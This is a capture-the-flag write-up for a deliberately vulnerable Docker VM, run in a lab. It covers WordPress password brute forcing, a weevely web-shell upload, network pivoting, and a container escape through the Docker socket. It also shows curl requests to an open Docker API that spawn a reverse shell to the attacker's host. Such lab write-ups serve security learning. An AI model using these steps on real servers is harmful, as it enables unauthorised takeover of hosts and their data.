Star InactiveStar InactiveStar InactiveStar InactiveStar Inactive
 

This vulnerable VM image can be obtained from https://www.notsosecure.com/vulnerable-docker-vm/

The main idea of this write-up is to share some useful tricks and learn more about docker security.

The way I followed is my own way and it could be different from your way.

As you can see its possible to select between 2 modes: Hard and Easy, idk why I decided to start from Easy mode, which in the end, as I will understand later, will be Hard mode. Easy way write-up you can found in the end, because it is very easy, but I missed this way and started default penetration test steps.

Bonus: In the end you can find how-to exploit available docker server over tcp/2375 only with cUrl to receive reverse shell (no docker is needed to be installed on your PC.

 

VM image is in the OVA format and it can be easily imported to Virtual Box. Virtual Box configuration is out of scope, so I selected Host-only network and started VM.

After VM starts you will see host ip address, which was 192.168.56.101 for me.

 

First think which usually are started is nmap and we got some open ports:

Nmap scan report for 192.168.56.101
Host is up (0.0011s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 45:13:08:81:70:6d:46:c3:50:ed:3c:ab:ae:d6:e1:85 (DSA)
|   2048 4c:e7:2b:01:52:16:1d:5c:6b:09:9d:3d:4b:bb:79:90 (RSA)
|   256 cc:2f:62:71:4c:ea:6c:a6:d8:a7:4f:eb:82:2a:22:ba (ECDSA)
|_  256 73:bf:b4:d6:ad:51:e3:99:26:29:b7:42:e3:ff:c3:81 (EdDSA)
8000/tcp open  http    Apache httpd 2.4.10 ((Debian))
|_http-generator: WordPress 4.8.1
|_http-open-proxy: Proxy might be redirecting requests
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: NotSoEasy Docker – Just another WordPress site
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Ok, we have wordpress installed, and this wordpress is up-to-date. There is the tool wpscan which I usually use for Wordpress installations.

After default wpscan scan nothing interesting was found, I decided to enumerate usernames and got admin username.

[+] Identified the following 1 user/s:
    +----+-------+-----------------+
    | Id | Login | Name            |
    +----+-------+-----------------+
    | 1  | bob   | bob – NotSoEasy |
    +----+-------+-----------------+

Because no vulnerable plug-ins, themes or something else were found I decided to start brute force attack, you can use different tools for brute force Wordpress accounts. Here will no be posted a password for "bob", let you to find it.

Hint - password is in the Seclists dictionaries.

 

So, you got a password and could login. Next steps are to analyze wordpress installation and grab as many information as possible. In Wordpress you can find first flag marked as flag_1 with text:

flag_1
2aa11783d05b6a329ffc4d2a1ce037f46162253e55d53764a6a7e998
good job finding this one. Now Lets hunt for the other flags
hint: they are in files.

 

So, Ok, web application is compromised and next step is to deploy web-shell. I selected weevely, which is installed by default in Kali linux. Generation process is very easy:

weevely generate PASSWORD ./weevely_wp.php
Generated backdoor with password 'PASSWORD' in './weevely_wp.php' of 1479 byte size.
Generated backdoor is localted in /usr/share/weevely/weevely_wp.php

 How to upload a webshell? The easiest way is to edit theme and change template for one .php file. So, we edit 404.php template in 2017 theme and save it. Now we can access your backdoor:

weevely http://192.168.56.101:8000/wp-content/themes/twentyseventeen/404.php PASSWORD

 

 Lets check, if we are in the docker container:

cat /proc/self/cgroup
11:name=systemd:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669
10:hugetlb:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669
9:perf_event:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669
8:blkio:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669
7:freezer:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669
6:devices:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669
5:memory:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669
4:cpuacct:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669
3:cpu:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669
2:cpuset:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669

Kek, it is a docker container =) Next step is to enumerate all from kernel to users and what we found: kernel is fully patched, no users, but we got mysql root password from Wordpress configuration file and database server has name "db".

Lets find 'db" server ip address:

$ ping -n -c 1 db
PING db (172.18.0.4): 56 data bytes
64 bytes from 172.18.0.4: icmp_seq=0 ttl=64 time=0.110 ms

Ok, we know about another server, but we didn't enumerate open ports and how to do it? It is easy, we need to upload to Wordpress netcat with "-e" option and find a way how to pivot, because we want to have access to mysql shell. These steps are very easy, I will put short hints about it:

Hint: If you don't like weevely its possible to create reverse shell in perl and catch it on your computer with netcat.

Hint: to upload netcat use curl with -O option. With netcat you can create bash script to do port scan, if you want this script contact with me using form: https://darksh3ll.info/index.php/contact-us

To check connectivity with "db" from Wordpress I decided to change 404.php template with connection to mysql php script (use php -m to list modules):

<?php
$username = "wordpress";
$password = "WordPressISBest";
$hostname = "db";
$dbhandle = mysqli_connect($hostname, $username, $password)
  or die("Unable to connect to MySQL");
echo "Connected to MySQL<br>";
?>

Ok, connection works good, but it is a pain to write requests in php to mysql, so, we need to find a way how to connect to "db". I decided to use very nice tool - reGeorg, how to use it - read my post: https://darksh3ll.info/index.php/7-tunneling-tcp-over-http-reduh-regeorg

Just upload tunnel to the web server and access it (used another 404 template ^-^ ): python reGeorgSocksProxy.py -p 31337 -u http://192.168.56.101:8000/wp-content/themes/twentyfifteen/404.php

 Now just configure proxychains to use port 31337 and check:

nmap -Pn -sT 172.18.0.4 -p 3306

PORT     STATE SERVICE
3306/tcp open  mysql

It works fine, after connection I tried to access "mysql" database, but its forbidden for wordpress user and idea by gaining mysql root user hash failed, but we didn't complete all port scan yet and it could provide more information to us.

 

So, we can enumerate all hosts in 172.18.0.0/24 with uploaded netcat and start nmap over proxychains with command: proxychains nmap -Pn -sT 172.18.0.X and we got a list of open ports:

Nmap scan report for 172.18.0.1
Host is up (0.0037s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt

Nmap scan report for 172.18.0.2
Host is up (0.0035s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
8022/tcp open  oa-system

Nmap scan report for 172.18.0.4
Host is up (0.0039s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE
3306/tcp open  mysql

Nmap scan report for 172.18.0.3
Host is up (0.0034s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
80/tcp open  http

Wow, interesting port 8022/tcp, lets analyze it:

PORT     STATE SERVICE VERSION
8022/tcp open  http    Node.js Express framework
|_http-title: Docker-SSH

Http port, lets open it and we see root console within db container!

 What was found within content_db_1:

1) ENV variables contains mysql root password. Inside mysql nothing interesting was found, no flag or something else.

2) Quick look on github about docker-ssh and after possible configuration reviewed found a way to connect to ssh: ssh This email address is being protected from spambots. You need JavaScript enabled to view it..0.2 without password. Any username is accepted.

3) Docker socket is in use!

/ $ ls -lah /run
total 16K
drwxr-xr-x  5 root  root  4.0K Aug 22 14:08 .
drwxr-xr-x 60 root  root  4.0K Aug 31 09:39 ..
srw-rw----  1 root  mysql    0 Sep  4 12:47 docker.sock
drwxrwxrwt  2 root  root  4.0K Jul 23 00:00 lock
drwxrwxrwx  2 mysql mysql 4.0K Sep  4 12:47 mysqld
-rw-rw-r--  1 root  utmp     0 Jul 23 00:00 utmp

To exploit docker socket we need docker within container, to do it lets enable Internet access for Docker VM using NAT in Virtual Box. Configuring NAT and how to access VM will not be described in this write-up, just a HINT - use port forwarding to access Wordpress and catch reverse connections, it works fine.

Then install wordpress within content_db_1 container with command: apt-get update && apt-get install wget -y && wget -qO- https://get.docker.com | sh

After docker is installed we will create new container with mounted host filesystem.

/ $ docker run -i -v /:/PWN ubuntu:latest /bin/bash
id
uid=0(root) gid=0(root) groups=0(root)
ls -lah
total 76K
drwxr-xr-x  35 root root 4.0K Sep  5 09:19 .
drwxr-xr-x  35 root root 4.0K Sep  5 09:19 ..
-rwxr-xr-x   1 root root    0 Sep  5 09:19 .dockerenv
drwxr-xr-x   2 root root 4.0K Aug  2 14:10 bin
drwxr-xr-x   2 root root 4.0K Apr 12  2016 boot
drwxr-xr-x   5 root root  340 Sep  5 09:19 dev
drwxr-xr-x  45 root root 4.0K Sep  5 09:19 etc
drwxr-xr-x   2 root root 4.0K Apr 12  2016 home
drwxr-xr-x   8 root root 4.0K Sep 13  2015 lib
drwxr-xr-x   2 root root 4.0K Aug  2 14:09 lib64
drwxr-xr-x   2 root root 4.0K Aug  2 14:09 media
drwxr-xr-x   2 root root 4.0K Aug  2 14:09 mnt
drwxr-xr-x   2 root root 4.0K Aug  2 14:09 opt
dr-xr-xr-x 113 root root    0 Sep  5 09:19 proc
drwx------   2 root root 4.0K Aug  2 14:09 root
drwxr-xr-x   6 root root 4.0K Aug 10 20:13 run
drwxr-xr-x   2 root root 4.0K Aug 10 20:13 sbin
drwxr-xr-x   2 root root 4.0K Aug  2 14:09 srv
dr-xr-xr-x  13 root root    0 Sep  5 09:19 sys
drwxr-xr-x  22 root root 4.0K Aug 22 14:11 PWN
drwxrwxrwt   2 root root 4.0K Aug  2 14:10 tmp
drwxr-xr-x  11 root root 4.0K Aug 10 20:13 usr
drwxr-xr-x  13 root root 4.0K Aug 10 20:13 var
cd /PWN
ls -lah
total 88K
drwxr-xr-x  22 root root 4.0K Aug 22 14:11 .
drwxr-xr-x  35 root root 4.0K Sep  5 09:19 ..
drwxr-xr-x   2 root root 4.0K Aug 16 17:04 bin
drwxr-xr-x   3 root root 4.0K Aug 22 14:11 boot
drwxr-xr-x  14 root root 4.0K Sep  4 12:47 dev
drwxr-xr-x  90 root root 4.0K Sep  4 12:47 etc
-r--------   1 root root  414 Aug 21 20:30 flag_3
drwxr-xr-x   4 root root 4.0K Aug 16 05:56 home
lrwxrwxrwx   1 root root   34 Aug 16 08:30 initrd.img -> boot/initrd.img-3.13.0-128-generic
drwxr-xr-x  21 root root 4.0K Aug 16 06:36 lib
drwxr-xr-x   2 root root 4.0K Aug 16 06:36 lib64
drwx------   2 root root  16K Aug 14 08:02 lost+found
drwxr-xr-x   3 root root 4.0K Aug 14 08:03 media
drwxr-xr-x   2 root root 4.0K Apr 10  2014 mnt
drwxr-xr-x   2 root root 4.0K Apr 16  2014 opt
dr-xr-xr-x 113 root root    0 Sep  4 12:47 proc
drwx------   4 root root 4.0K Sep  4 14:06 root
drwxr-xr-x  19 root root  720 Sep  5 05:55 run
drwxr-xr-x   2 root root 4.0K Aug 16 17:04 sbin
drwxr-xr-x   2 root root 4.0K Apr 16  2014 srv
dr-xr-xr-x  13 root root    0 Sep  4 12:47 sys
drwxrwxrwt   2 root root 4.0K Sep  5 09:17 tmp
drwxr-xr-x  10 root root 4.0K Aug 14 08:02 usr
drwxr-xr-x  12 root root 4.0K Aug 14 08:12 var
lrwxrwxrwx   1 root root   31 Aug 16 08:30 vmlinuz -> boot/vmlinuz-3.13.0-128-generic

Nice, we got flag_3 and we can chroot to /PWN of course:

cat /PWN/flag_3
d867a73c70770e73b65e6949dd074285dfdee80a8db333a7528390f6

Awesome so you reached host

Well done

Now the bigger challenge try to understand and fix the bugs.

If you want more attack targets look at the shadow file and try cracking passwords :P

Thanks for playing the challenges we hope you enjoyed all levels

You can send your suggestions bricks bats criticism or appreciations
on This email address is being protected from spambots. You need JavaScript enabled to view it.

chroot /PWN
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
15: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.2/16 scope global eth0
       valid_lft forever preferred_lft forever

In the end its easy to create ssh keys for root and connect directly to the host ip address.

Docker host is pwned, I lost somewhere flag_2 and I tried to find it, but could not, when I will find it - this write-up will be updated.

 

After I saw processes on the docker host I found a way, which was the main attack vector for Easy mode: /usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock --raw-logs

OMG, I lost the main idea of Easy mode!!! Later I checked and Hard mode is without this process, so, started Easy mode switched to Hard mode, kek =)

Exploitation way for 2375/tcp is very easy, simple steps without explanation:

1) Install docker;

2) docker -H tcp://192.168.56.101 ps;

CONTAINER ID        IMAGE                      COMMAND                  CREATED             STATUS              PORTS                  NAMES
8f4bca8ef241        wordpress:latest           "docker-entrypoint..."   12 days ago         Up 11 minutes       0.0.0.0:8000->80/tcp   content_wordpress_1
13f0a3bb2706        mysql:5.7                  "docker-entrypoint..."   12 days ago         Up 11 minutes       3306/tcp               content_db_1
b90babce1037        jeroenpeeters/docker-ssh   "npm start"              2 weeks ago         Up 11 minutes       22/tcp, 8022/tcp       content_ssh_1
3) docker -H tcp://192.168.56.101 exec -i 13f0a3bb2706 /bin/bash;

4) docker -H tcp://192.168.56.101 run -i -v /:/PWN ubuntu:latest /bin/bash;

5) Chroot /PWN and create ssh keys;

6) Connect directly to the docker host as root.

 

BONUS:

Exploiting Docker Engine API with cUrl.

To view all available information that could be gathered from Docker API visit this link: https://docs.docker.com/engine/api/v1.30/#tag/Container

http://192.168.56.101:2375/info - Docker info

http://192.168.56.101:2375/containers/json - Containers info

http://192.168.56.101:2375/containers/$ContainerID/json - Specified container info

and others, and little how to exploit Docker Engine API with cUrl:

curl "http://192.168.56.101:2375/containers/13f0a3bb27069c58d328761a5202423bee3cdcdade0dfd4a9648d30d3ac20215/exec" -XPOST -H "Content-Type: application/json" -d '{"AttachStdin": true, "AttachStdout": true, "Tty": true, "Cmd": ["/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.56.1/7777 0>&1"]}'

{"Id":"641bd3d50fb1721d8fe19f995f210e60943fa49702d1802e11ce9255521ed77b"} - its exec ID, now start netcat listener and executed this command:

curl "http://192.168.56.101:2375/exec/641bd3d50fb1721d8fe19f995f210e60943fa49702d1802e11ce9255521ed77b/start" -XPOST -H "Content-Type: application/json" -d '{"Detach": false, "Tty": true }'

Now you have bash shell from container, if docker.sock is within container - mount root filesystem and chroot. These steps could be done inside containers and you don't need to install docker.

 

In the end I want to say "Thank you, notsosecure" for the nice Vulnerable Docker VM!

Cheers

 

P.S.:When flag_2 will be found this write-up will be updated, now host is totally compromised and I dont see a point of flag_2.

 

 

Add comment


Security code
Refresh